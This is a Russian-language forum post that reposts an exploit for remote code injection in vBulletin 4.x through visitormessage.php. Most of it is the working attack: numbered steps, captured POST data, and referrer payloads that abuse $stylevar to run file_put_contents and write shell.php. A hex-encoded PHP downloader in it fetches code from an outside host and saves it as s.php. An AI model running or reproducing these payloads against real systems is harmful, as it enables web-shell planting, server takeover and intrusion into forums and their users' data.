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vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability

Тема в разделе Веб уязвимости создана пользователем RaysMorgan 10 авг 2015. 2437 просмотров

  1. RaysMorgan
    RaysMorgan Автор темы 10 авг 2015 Че скажете 54 005 7 мар 2013
    Код
    #################################################################################################################
    
[+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability
    
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
    
[+] My Homepage: black-hg.org / nasirpour.info
    
[+] Date: [2015 27 February]
    
[+] Vendor Homepage: vBulletin.com
    
[+] Tested on: [vBulletin 4.2.2]
    
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
    
#################################################################################################################
    
Remote Code Injection:
    
+++++++++++++++++++++++++
    
1) You Must Register In The vBulletin http://server/register.php example:[blackhat]
    
 
    
2) go to your user profile example: [http://server/members/blackhat.html]
    
 
    
3) post something in visitor message and record post data with live http header
    
 
    
[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
    
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=
    
 
    
4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]
    
 
    
[Now post this with hackbar:]
    
 
    
URL:  http://server/visitormessage.php?do=message
    
 
    
[Post data]
    
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
    
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=
    
 
    
[And referrer data:] 
    
PoC : http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]
    
 
    
[Example referrer data:] > upload downloader.php and s.php
    
PoC : http://server/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
    
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]
    
 
    
5- Open hackbar and tamper it with taper data:
    
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]
    
 
    
and submit request.
    
 
    
################################################################################################################
     
    10 авг 2015
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